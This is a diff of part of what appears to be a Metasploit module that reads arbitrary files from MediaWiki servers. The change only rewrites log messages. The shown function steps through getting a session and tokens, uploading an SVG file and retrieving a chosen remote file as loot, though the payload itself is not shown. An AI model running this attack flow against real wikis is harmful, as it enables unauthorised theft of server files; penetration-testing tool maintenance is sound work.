@@ -218,58 +218,58 @@ def read_data
218
218
end
219
219
220
220
def accessfile ( rhost )
221
- vprint_status ( "#{ peer ( rhost ) } MediaWiki - Getting unauthenticated session..." )
221
+ vprint_status ( "#{ peer } MediaWiki - Getting unauthenticated session..." )
222
222
@wiki_session_name , @wiki_session = get_first_session
223
223
if @wiki_session . nil?
224
- print_error ( "#{ peer ( rhost ) } MediaWiki - Failed to get unauthenticated session..." )
224
+ print_error ( "#{ peer } MediaWiki - Failed to get unauthenticated session..." )
225
225
return
226
226
end
227
- vprint_status ( "#{ peer ( rhost ) } Sessioncookie: #{ @wiki_session_name } =#{ @wiki_session } " )
227
+ vprint_status ( "#{ peer } Sessioncookie: #{ @wiki_session_name } =#{ @wiki_session } " )
228
228
229
229
if @user and not @user . empty? and @password and not @password . empty?
230
- vprint_status ( "#{ peer ( rhost ) } MediaWiki - Getting login token..." )
230
+ vprint_status ( "#{ peer } MediaWiki - Getting login token..." )
231
231
@login_token = get_login_token
232
232
if @login_token . nil?
233
- print_error ( "#{ peer ( rhost ) } MediaWiki - Failed to get login token" )
233
+ print_error ( "#{ peer } MediaWiki - Failed to get login token" )
234
234
return
235
235
end
236
- vprint_status ( "#{ peer ( rhost ) } Logintoken: #{ @login_token } " )
236
+ vprint_status ( "#{ peer } Logintoken: #{ @login_token } " )
237
237
238
238
if not authenticate
239
- print_error ( "#{ peer ( rhost ) } MediaWiki - Failed to authenticate" )
239
+ print_error ( "#{ peer } MediaWiki - Failed to authenticate" )
240
240
return
241
241
end
242
- vprint_status ( "#{ peer ( rhost ) } Userid cookie: #{ @wiki_user_id_name } =#{ @wiki_user_id } " )
243
- vprint_status ( "#{ peer ( rhost ) } Username cookie: #{ @wiki_user_name_name } =#{ @wiki_user_name } " )
244
- vprint_status ( "#{ peer ( rhost ) } Session cookie: #{ @wiki_session_name } =#{ @wiki_session } " )
242
+ vprint_status ( "#{ peer } Userid cookie: #{ @wiki_user_id_name } =#{ @wiki_user_id } " )
243
+ vprint_status ( "#{ peer } Username cookie: #{ @wiki_user_name_name } =#{ @wiki_user_name } " )
244
+ vprint_status ( "#{ peer } Session cookie: #{ @wiki_session_name } =#{ @wiki_session } " )
245
245
end
246
246
247
- vprint_status ( "#{ peer ( rhost ) } MediaWiki - Getting edit token..." )
247
+ vprint_status ( "#{ peer } MediaWiki - Getting edit token..." )
248
248
@edit_token = get_edit_token
249
249
if @edit_token . nil?
250
- print_error ( "#{ peer ( rhost ) } MediaWiki - Failed to get edit token" )
250
+ print_error ( "#{ peer } MediaWiki - Failed to get edit token" )
251
251
return
252
252
end
253
- vprint_status ( "#{ peer ( rhost ) } Edittoken: #{ @edit_token } " )
253
+ vprint_status ( "#{ peer } Edittoken: #{ @edit_token } " )
254
254
255
- vprint_status ( "#{ peer ( rhost ) } MediaWiki - Uploading SVG file..." )
255
+ vprint_status ( "#{ peer } MediaWiki - Uploading SVG file..." )
256
256
@svg_uri = upload_file
257
257
if @svg_uri . nil?
258
- print_error ( "#{ peer ( rhost ) } MediaWiki - Failed to upload SVG file" )
258
+ print_error ( "#{ peer } MediaWiki - Failed to upload SVG file" )
259
259
return
260
260
end
261
- vprint_status ( "#{ peer ( rhost ) } SVG URI: #{ @svg_uri } " )
261
+ vprint_status ( "#{ peer } SVG URI: #{ @svg_uri } " )
262
262
263
- vprint_status ( "#{ peer ( rhost ) } MediaWiki - Retrieving remote file..." )
263
+ vprint_status ( "#{ peer } MediaWiki - Retrieving remote file..." )
264
264
loot = read_data
265
265
if loot . nil? or loot . empty?
266
- print_error ( "#{ peer ( rhost ) } MediaWiki - Failed to retrieve remote file" )
266
+ print_error ( "#{ peer } MediaWiki - Failed to retrieve remote file" )
267
267
return
268
268
end
269
269
270
270
f = ::File . basename ( datastore [ 'RFILE' ] )
271
271
path = store_loot ( 'mediawiki.file' , 'application/octet-stream' , rhost , loot , f , datastore [ 'RFILE' ] )
272
- print_status ( "#{ peer ( rhost ) } MediaWiki - #{ datastore [ 'RFILE' ] } saved in #{ path } " )
272
+ print_status ( "#{ peer } MediaWiki - #{ datastore [ 'RFILE' ] } saved in #{ path } " )
273
273
end
274
274
275
275
def run
0 commit comments